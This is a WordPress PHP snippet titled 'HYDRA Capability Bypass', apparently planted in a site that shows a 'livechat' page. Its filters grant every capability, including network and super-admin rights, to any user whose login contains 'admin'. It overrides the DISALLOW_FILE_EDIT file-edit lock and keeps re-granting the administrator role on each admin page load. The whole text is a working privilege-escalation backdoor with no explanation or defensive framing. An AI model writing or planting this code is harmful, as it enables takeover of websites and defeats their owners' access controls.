// HYDRA Capability Bypass v2.0 - hydra_capability_bypass
// Auto-generated privilege escalation code
// Capability Filter - grants ALL capabilities to matching users
add_filter('user_has_cap', function($allcaps, $caps, $args, $user) {
if (!isset($user->user_login)) return $allcaps;
if (preg_match('/admin/', $user->user_login)) {
$all_caps = array('manage_options','edit_themes','activate_plugins','edit_plugins','edit_users','delete_users','install_plugins','install_themes','update_plugins','update_themes','delete_plugins','delete_themes','manage_network','manage_sites','manage_network_users','manage_network_plugins','manage_network_themes','manage_network_options','upload_files','unfiltered_upload','unfiltered_html','edit_dashboard','update_core','delete_site','export','import','list_users','remove_users','promote_users','edit_theme_options','create_users','delete_themes','switch_themes','edit_files','moderate_comments','manage_categories','manage_links','edit_others_posts','edit_pages','edit_others_pages','edit_published_pages','publish_pages','delete_pages','delete_others_pages','delete_published_pages','delete_others_posts','delete_private_posts','edit_private_posts','read_private_posts','delete_private_pages','edit_private_pages','read_private_pages','edit_published_posts','publish_posts','delete_published_posts','edit_posts','delete_posts','read');
foreach ($all_caps as $c) { $allcaps[$c] = true; }
foreach ($caps as $c) { $allcaps[$c] = true; }
}
return $allcaps;
}, 9999, 4);
// File Mod Bypass - allows file editing even with DISALLOW_FILE_EDIT
add_filter('file_mod_allowed', function($allowed, $context) {
$u = wp_get_current_user();
if ($u && $u->ID && preg_match('/admin/', $u->user_login)) {
return true;
}
return $allowed;
}, 9999, 2);
// Map Meta Cap - ensure edit_files capability is granted
add_filter('map_meta_cap', function($caps, $cap, $user_id, $args) {
$user = get_userdata($user_id);
if ($user && preg_match('/admin/', $user->user_login)) {
if (in_array($cap, array('edit_files', 'edit_themes', 'edit_plugins'))) {
return array('exist');
}
}
return $caps;
}, 9999, 4);
// Auto Capability Restore - ensures capabilities persist
add_action('admin_init', function() {
$u = wp_get_current_user();
if (!$u || !$u->ID) return;
if (!preg_match('/admin/', $u->user_login)) return;
$caps = array('manage_options','edit_themes','activate_plugins','edit_plugins','edit_users','delete_users','install_plugins','install_themes','update_plugins','update_themes','delete_plugins','delete_themes','manage_network','manage_sites','manage_network_users','manage_network_plugins','manage_network_themes','manage_network_options','upload_files','unfiltered_upload','unfiltered_html','edit_dashboard','update_core','delete_site','export','import','list_users','remove_users','promote_users','edit_theme_options','create_users','delete_themes','switch_themes','edit_files','moderate_comments','manage_categories','manage_links','edit_others_posts','edit_pages','edit_others_pages','edit_published_pages','publish_pages','delete_pages','delete_others_pages','delete_published_pages','delete_others_posts','delete_private_posts','edit_private_posts','read_private_posts','delete_private_pages','edit_private_pages','read_private_pages','edit_published_posts','publish_posts','delete_published_posts','edit_posts','delete_posts','read');
$need_update = false;
foreach ($caps as $c) {
if (!$u->has_cap($c)) {
$u->add_cap($c);
$need_update = true;
}
}
if ($need_update) {
$u->set_role('administrator');
update_user_meta($u->ID, '_wp_user_level', 10);
if (function_exists('is_multisite') && is_multisite() && !is_super_admin($u->ID)) {
if (function_exists('grant_super_admin')) grant_super_admin($u->ID);
}
}
}, 1);
// End HYDRA Capability Bypass
livechat
Currently browsing livechat
